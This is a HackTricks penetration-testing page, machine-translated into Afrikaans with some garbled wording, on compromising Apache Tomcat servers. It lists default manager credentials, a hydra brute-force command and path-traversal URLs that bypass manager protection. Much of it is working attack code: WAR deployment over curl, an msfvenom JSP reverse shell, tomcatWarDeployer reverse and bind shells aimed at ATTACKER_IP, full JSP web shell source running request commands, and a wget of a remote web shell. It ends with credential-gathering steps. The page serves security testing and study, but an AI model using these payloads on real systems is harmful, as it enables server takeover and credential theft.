hacktricks/network-services-pentesting/pentesting-web/tomcat/README.md

10 KiB

Tomcat

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}

Ontdekking

  • Dit loop gewoonlik op poort 8080
  • Gewone Tomcat fout:

Opsporing

Weergawe Identifikasie

Om die weergawe van Apache Tomcat te vind, kan 'n eenvoudige opdrag uitgevoer word:

curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat

Dit sal soek na die term "Tomcat" in die dokumentasie-indeksbladsy, wat die weergawe in die titel-tag van die HTML-antwoord onthul.

Bestand Plekke van die Bestuurder

Om die presiese plekke van /manager en /host-manager gidsen te identifiseer, is noodsaaklik aangesien hul name moontlik verander kan word. 'n Brute-force soektog word aanbeveel om hierdie bladsye te vind.

Gebruikersnaam Enumerasie

Vir Tomcat weergawes ouer as 6, is dit moontlik om gebruikersname te enumerate deur:

msf> use auxiliary/scanner/http/tomcat_enum

Standaard Kredensiale

Die /manager/html gids is veral sensitief aangesien dit die opgradering en implementering van WAR-lêers toelaat, wat kan lei tot kode-uitvoering. Hierdie gids is beskerm deur basiese HTTP-oute, met algemene kredensiale wat is:

  • admin:admin
  • tomcat:tomcat
  • admin:
  • admin:s3cr3t
  • tomcat:s3cr3t
  • admin:tomcat

Hierdie kredensiale kan getoets word met:

msf> use auxiliary/scanner/http/tomcat_mgr_login

Nog 'n noemenswaardige gids is /manager/status, wat die Tomcat- en OS-weergawe vertoon, wat help met die identifisering van kwesbaarhede.

Brute Force Aanval

Om 'n brute force aanval op die bestuurder-gids te probeer, kan mens gebruik maak van:

hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

Along with setting various parameters in Metasploit to target a specific host.

Algemene Kw vulnerabilities

Wagwoord Terugsporing Ontsluiting

Toegang tot /auth.jsp mag die wagwoord in 'n terugsporing onthul onder gelukkige omstandighede.

Dubbele URL Kodering

Die CVE-2007-1860 kwesbaarheid in mod_jk laat dubbele URL kodering pad traversering toe, wat ongeoorloofde toegang tot die bestuurskoppelvlak via 'n spesiaal saamgestelde URL moontlik maak.

Om toegang te verkry tot die bestuursweb van die Tomcat, gaan na: pathTomcat/%252E%252E/manager/html

/voorbeelde

Apache Tomcat weergawes 4.x tot 7.x sluit voorbeeldskripte in wat vatbaar is vir inligtingsontsluiting en kruis-webskripting (XSS) aanvalle. Hierdie skripte, wat omvattend gelys is, moet nagegaan word vir ongeoorloofde toegang en potensiële uitbuiting. Vind meer inligting hier

  • /voorbeelde/jsp/num/numguess.jsp
  • /voorbeelde/jsp/dates/date.jsp
  • /voorbeelde/jsp/snp/snoop.jsp
  • /voorbeelde/jsp/error/error.html
  • /voorbeelde/jsp/sessions/carts.html
  • /voorbeelde/jsp/checkbox/check.html
  • /voorbeelde/jsp/colors/colors.html
  • /voorbeelde/jsp/cal/login.html
  • /voorbeelde/jsp/include/include.jsp
  • /voorbeelde/jsp/forward/forward.jsp
  • /voorbeelde/jsp/plugin/plugin.jsp
  • /voorbeelde/jsp/jsptoserv/jsptoservlet.jsp
  • /voorbeelde/jsp/simpletag/foo.jsp
  • /voorbeelde/jsp/mail/sendmail.jsp
  • /voorbeelde/servlet/HelloWorldExample
  • /voorbeelde/servlet/RequestInfoExample
  • /voorbeelde/servlet/RequestHeaderExample
  • /voorbeelde/servlet/RequestParamExample
  • /voorbeelde/servlet/CookieExample
  • /voorbeelde/servlet/JndiServlet
  • /voorbeelde/servlet/SessionExample
  • /tomcat-docs/appdev/sample/web/hello.jsp

Pad Traversering Uitbuiting

In sommige kwesbare konfigurasies van Tomcat kan jy toegang verkry tot beskermde gidse in Tomcat met die pad: /..;/

So, byvoorbeeld, mag jy in staat wees om die Tomcat bestuurder bladsy te bekom deur toegang te verkry tot: www.vulnerable.com/lalala/..;/manager/html

Nog 'n manier om beskermde pades te omseil met hierdie truuk is om toegang te verkry tot http://www.vulnerable.com/;param=value/manager/html

RCE

Laastens, as jy toegang het tot die Tomcat Web Toepassing Bestuurder, kan jy 'n .war-lêer oplaai en ontplooi (kode uitvoer).

Beperkings

Jy sal slegs in staat wees om 'n WAR te ontplooi as jy genoeg bevoegdhede het (rolle: admin, manager en manager-script). Daardie besonderhede kan gevind word onder tomcat-users.xml wat gewoonlik gedefinieer is in /usr/share/tomcat9/etc/tomcat-users.xml (dit verskil tussen weergawes) (sien POST section).

# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

Metasploit

use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

MSFVenom Reverse Shell

  1. Skep die war om te ontplooi:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
  1. Laai die revshell.war lêer op en toegang tot dit (/revshell/):

Bind en omgekeerde shell met tomcatWarDeployer.py

In sommige scenario's werk dit nie (byvoorbeeld ou weergawes van sun)

Laai af

git clone https://github.com/mgeeky/tomcatWarDeployer.git

Terugskakel

./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

Bind shell

./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Gebruik Culsterd

clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

Handmatige metode - Web shell

Skep index.jsp met hierdie inhoud:

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

U kan ook dit installeer (maak opgelaai, aflaai en opdraguitvoering moontlik): http://vonloesch.de/filebrowser.html

Handmatige Metode 2

Kry 'n JSP web shell soos hierdie en skep 'n WAR-lêer:

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

Die naam van die Tomcat geloofsbriewe lêer is tomcat-users.xml

find / -name tomcat-users.xml 2>/dev/null

Ander maniere om Tomcat-akkrediteerings te versamel:

msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat

Ander tomcat skandeergereedskap

Verwysings

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}